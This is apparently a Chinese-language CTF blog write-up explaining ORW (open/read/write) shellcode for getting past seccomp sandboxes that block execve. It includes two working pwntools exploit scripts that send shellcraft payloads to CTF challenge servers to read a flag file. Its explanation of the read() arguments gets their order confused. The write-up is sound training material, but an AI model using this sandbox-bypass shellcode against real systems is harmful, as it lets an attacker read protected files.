编辑
2023-06-10
pwn
00
请注意,本文编写于 592 天前,最后修改于 479 天前,其中某些信息可能已经过时。

目录

ORW的简单利用
什么是ORW?
seccomp-tools安装
例题1:pwnable_orw(buu
例题二 [NSSRound#9 Basic]MyMem

ORW的简单利用

什么是ORW?

在了解ORW之前需要先知道什么是sandbox。这里简单理解就是通过prctl系统调用和seccomp库函数;来定义系统调用白名单和黑名单,这里通常会ban掉system和execve系统调用,来禁止选手getshell,这时就需要ORW来绕过。这里我们只讨论栈上的sandbox。

这里我的理解就是通过利用open,read,write三个系统调用来直接获取远程主机下的flag。

这里还有一个工具seccomp-tools可以直接查看哪些系统调用被ban。

seccomp-tools安装

bash
sudo apt install gcc ruby-dev sudo gem install seccomp-tools

例题1:pwnable_orw(buu

先检查:

image-20230608192901129

ida查看:

image-20230608192956403

很明显orw_seccomp通过seccomp库函数进行ban系统调用:

image-20230608193159705

这里会发现ban掉了除go to 0011以外的系统调用:

所以这里直接上exp:

python
from pwn import* io = remote('node4.buuoj.cn',25453) # io =process('./orw') payload = asm(shellcraft.i386.linux.open('./flag')) payload += asm(shellcraft.i386.linux.read('eax','esp',0x100)) payload += asm(shellcraft.i386.linux.write(1,'esp',0x100)) io.sendlineafter(b'shellcode',payload) io.interactive()
  • 第一步:通过open打开远程主机目录下的flag文件
  • 第二步: 通过read把flag文件中内容写入esp指针位置,在shellcraft.read('eax','esp',100)中,第一个参数指定了读取的长度,此处为100字节,第二个参数指定了读取后数据存储的位置,此处为栈顶ESP处,第三个参数是存储文件数据的缓冲区地址,而此时需要通过文件描述符获取文件数据,所以使用了EAX寄存器来存储描述符的值,作为第三个参数传给read系统调用。
  • 第三步:通过write将之前写入的数据输出

例题二 [NSSRound#9 Basic]MyMem

同样的操作:

image-20230608193937490

image-20230608194006911

python
from pwn import* context(log_level='debug',arch='amd64',os='linux') io = remote('node1.anna.nssctf.cn',28790) # io = process('./mymem') payload = asm(shellcraft.open('/home/ctf/flag.txt')) #这个目录其实我并不清楚怎么知道的,确实是看别人wp才知道的 payload += asm(shellcraft.read('rax',0x50000+0x100,0x30))#注意:这里不能写太多0x100就会报错 payload += asm(shellcraft.write(1,0x50000+0x100,0x100)) io.sendlineafter(b'sandbox',payload) io.interactive()

image-20230608194203347

如果对你有用的话,可以打赏哦
打赏
ali pay
wechat pay

本文作者:Hyrink

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!